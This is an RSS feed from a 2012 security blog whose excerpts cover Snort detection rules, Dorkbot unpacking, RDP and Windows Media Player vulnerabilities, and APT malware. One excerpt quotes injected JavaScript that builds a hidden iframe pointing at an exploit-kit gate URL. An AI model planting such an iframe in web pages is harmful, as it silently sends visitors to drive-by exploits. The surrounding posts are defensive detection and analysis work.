<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>chackraview.net</title>
	<atom:link href="http://blog.chackraview.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.chackraview.net</link>
	<description>There is no such thing as closed source software…the processor sees every instruction and so does the reverse engineer…</description>
	<lastBuildDate>Fri, 30 Mar 2012 14:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Snort Signatures for LuckyCat APT Campaign</title>
		<link>http://blog.chackraview.net/2012/03/30/snort-signatures-for-luckycat-apt-campaign/</link>
		<comments>http://blog.chackraview.net/2012/03/30/snort-signatures-for-luckycat-apt-campaign/#comments</comments>
		<pubDate>Fri, 30 Mar 2012 11:37:23 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[LuckyCat]]></category>
		<category><![CDATA[TROJ_WIMMIE]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=1021</guid>
		<description><![CDATA[Trend Micro blog published a paper titled Luckycat Redux, which looked into the activities of the Luckycat APT campaign.  As per the report, LuckyCat campaign targeted diverse set of industries including Aerospace, Shipping, Energy, Military, Engineering and Tibetan Activist using variety of malwares.  Trend was able to track back the sources of the attack in China. Below [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/03/30/snort-signatures-for-luckycat-apt-campaign/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Manually unpacking Dorkbot</title>
		<link>http://blog.chackraview.net/2012/03/24/manually-unpacking-dorkbot/</link>
		<comments>http://blog.chackraview.net/2012/03/24/manually-unpacking-dorkbot/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 10:52:29 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Malware analysis]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Dorkbot]]></category>
		<category><![CDATA[ImpRec]]></category>
		<category><![CDATA[Unpacking]]></category>
		<category><![CDATA[UPX]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=1009</guid>
		<description><![CDATA[Yesterday I encounter another sample (SHA1: e3a7a9c9a5fcdc0b4bd6ffd9a5b83ba7a22353af) of Dorkbot while analyzing my honeypot. Knowing most of the Dorkbot samples are packed with UPX, I used the upx tool to unpack the binary. However, just to recall my manual steps for unpacking binaries, I thought of writing this post. Let’s use PEiD tool to verify if [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/03/24/manually-unpacking-dorkbot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://blog.chackraview.net/wp-content/uploads/2012/03/Unpacking-Dorkbot.mp4" length="6706840" type="video/mp4" />
		</item>
		<item>
		<title>NIDS signature for MS12-020 RDP DoS</title>
		<link>http://blog.chackraview.net/2012/03/19/nids-signature-for-ms12-020-rdp-dos/</link>
		<comments>http://blog.chackraview.net/2012/03/19/nids-signature-for-ms12-020-rdp-dos/#comments</comments>
		<pubDate>Mon, 19 Mar 2012 10:28:17 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[CVE-2012-0002]]></category>
		<category><![CDATA[ms12-020]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=1001</guid>
		<description><![CDATA[The signature specified in the previous entry was for detecting the RCE/DoS attempt within TargetParams structure of RDP protocol. However, a DoS PoC listed here, exploits another MaxParam structure from the same RDP protocol. The PoC is developed by jduck  (Joshua J. Drake) of Accuvant and sets the value of first parameter maxChannelIds to 4294967295. This value is causing [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/03/19/nids-signature-for-ms12-020-rdp-dos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Snort Signature for RDP TargetParams Exploit</title>
		<link>http://blog.chackraview.net/2012/03/17/snort-signature-for-rdp-targetparams-exploit/</link>
		<comments>http://blog.chackraview.net/2012/03/17/snort-signature-for-rdp-targetparams-exploit/#comments</comments>
		<pubDate>Sat, 17 Mar 2012 07:20:19 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[CVE-2012-0002]]></category>
		<category><![CDATA[ms12-020]]></category>
		<category><![CDATA[sid 2014383]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=994</guid>
		<description><![CDATA[With the release of Exploit PoC code for CVE-2012-0002 by the finder himself has definitely increased the chances of exploitation of this vulnerability. Microsoft has released the patch to address the vulnerability. However, considering the patch deployment life cycle and exploit attempts, we need to be proactive in detection and blocking all the attempts of [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/03/17/snort-signature-for-rdp-targetparams-exploit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Snort detections for Targeted attack using CVE-2012-0754 exploit</title>
		<link>http://blog.chackraview.net/2012/03/06/snort-detections-for-targeted-attack-using-cve-2012-0754-exploit/</link>
		<comments>http://blog.chackraview.net/2012/03/06/snort-detections-for-targeted-attack-using-cve-2012-0754-exploit/#comments</comments>
		<pubDate>Tue, 06 Mar 2012 06:07:02 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Malware analysis]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[CVE-2012-0754]]></category>
		<category><![CDATA[Trojan:Win32/Yayih.A]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=984</guid>
		<description><![CDATA[ Contagiodump blog published an analysis of a targeted attack using new CVE-2012-0754 exploit. The blog talks about the whole exploit attempt and a great details about the exploit and payload analysis. I will not repeat the analysis in this post but talk about the key points. I liked the adjacent picture posted on contagio blog so [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/03/06/snort-detections-for-targeted-attack-using-cve-2012-0754-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snort Detections for Drive-by Exploitkit</title>
		<link>http://blog.chackraview.net/2012/02/23/snort-detections-for-drive-by-exploitkit/</link>
		<comments>http://blog.chackraview.net/2012/02/23/snort-detections-for-drive-by-exploitkit/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 05:45:42 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Drive-by]]></category>
		<category><![CDATA[exploit pack]]></category>
		<category><![CDATA[Snort Rules]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=979</guid>
		<description><![CDATA[Today, while browsing for some information I ended up landing on a below website. I accidently had my fiddler instance open and saw an embedded iframe in the website.  Here is the snip of the injected iframe. window.setTimeout(function(){ var JSinj=document.createElement(&#8216;iframe&#8217;); JSinj.src=&#8217;http://unclesammm.com/gate.php?f=873110&#38;r=&#8217;+escape(document.referrer&#124;&#124;&#8221;); JSinj.width=&#8217;0&#8242;; JSinj.height=&#8217;0&#8242;; JSinj.frameborder=&#8217;0&#8242;; JSinj.marginheight=&#8217;0&#8242;; JSinj.marginwidth=&#8217;0&#8242;; JSinj.border=&#8217;0&#8242;; try{ document.body.appendChild(JSinj); }catch(e){ document.documentElement.appendChild(JSinj); Iframe took me to [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/02/23/snort-detections-for-drive-by-exploitkit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Detecting Data Exfiltration Attempts of TSPY_SPCESEND.A</title>
		<link>http://blog.chackraview.net/2012/02/11/detecting-data-exfiltration-attempts-of-tspy_spcesend-a/</link>
		<comments>http://blog.chackraview.net/2012/02/11/detecting-data-exfiltration-attempts-of-tspy_spcesend-a/#comments</comments>
		<pubDate>Sat, 11 Feb 2012 18:13:26 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Malware analysis]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[Data Exfiltration]]></category>
		<category><![CDATA[Sendspace trojan]]></category>
		<category><![CDATA[Snort Rules]]></category>
		<category><![CDATA[TSPY_SPCESEND.A]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=971</guid>
		<description><![CDATA[&#160; Recently, a malware was seen in the wild which grabbed Microsoft Word and Excel files present on the infected system and uploaded them to a free file sharing website sendspace.com. File sharing websites were previously and are still involved in malware drive-by attempts but using them as a data exfiltration channel was seen for [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/02/11/detecting-data-exfiltration-attempts-of-tspy_spcesend-a/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snort Detection Rules for APT Malware MSUpdater.exe</title>
		<link>http://blog.chackraview.net/2012/02/03/snort-detection-rules-for-apt-malware-msupdater-exe/</link>
		<comments>http://blog.chackraview.net/2012/02/03/snort-detection-rules-for-apt-malware-msupdater-exe/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 17:46:10 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Malware analysis]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[MSUpdater.exe]]></category>
		<category><![CDATA[Snort Rules]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=965</guid>
		<description><![CDATA[Background: On 31st January 2012, ZScalar and Seculert posted analysis on recently identified RAT malware which is believed to be used in government related targeted attacks. Both of these firms, identified command and control beacon patterns and independently published them on their respective websites. Similar to all the APT attacks, these C&#38;C patterns were built [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/02/03/snort-detection-rules-for-apt-malware-msupdater-exe/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Exploitation of CVE-2012-0003: Heap Overflow in winmm.dll</title>
		<link>http://blog.chackraview.net/2012/01/30/exploitation-of-cve-2012-0003-heap-overflow-in-the-midioutplaynextpolyevent/</link>
		<comments>http://blog.chackraview.net/2012/01/30/exploitation-of-cve-2012-0003-heap-overflow-in-the-midioutplaynextpolyevent/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 09:28:25 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Snort Signature]]></category>
		<category><![CDATA[CVE-2012-0003]]></category>
		<category><![CDATA[MS12-004]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=938</guid>
		<description><![CDATA[Very first exploit for the MS12-004 was seen in the wild on last Friday. As soon as the discovery of the exploit attempt was made, researchers were quick to post their analysis on the vulnerability. Metasploit module was also made available to public in its latest revision 14640. In this post I will share a [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/01/30/exploitation-of-cve-2012-0003-heap-overflow-in-the-midioutplaynextpolyevent/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://blog.chackraview.net/wp-content/uploads/2012/01/CVE-2012-0003-Exploitation.mp4" length="4154167" type="video/mp4" />
		</item>
		<item>
		<title>Understanding CVE-2012-0003: RCE in Microsoft Windows Media Player</title>
		<link>http://blog.chackraview.net/2012/01/29/understanding-cve-2012-0003-rce-in-microsoft-windows-media-player/</link>
		<comments>http://blog.chackraview.net/2012/01/29/understanding-cve-2012-0003-rce-in-microsoft-windows-media-player/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 05:26:37 +0000</pubDate>
		<dc:creator>Abhijeet</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[CVE-2012-0003]]></category>
		<category><![CDATA[MIDI Exploit]]></category>
		<category><![CDATA[MS12-004]]></category>

		<guid isPermaLink="false">http://blog.chackraview.net/?p=927</guid>
		<description><![CDATA[As ever, the opinions expressed in this website are personal to me and do not necessarily reflect the opinions of my employer. As part of January’s Patch Tuesday, we released 7 patches targeting 8 individual vulnerabilities. Out of these 8 vulnerabilities, I will talk about CVE-2012-0003 &#8211; memory corruption vulnerability in Windows Media component that [...]]]></description>
		<wfw:commentRss>http://blog.chackraview.net/2012/01/29/understanding-cve-2012-0003-rce-in-microsoft-windows-media-player/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

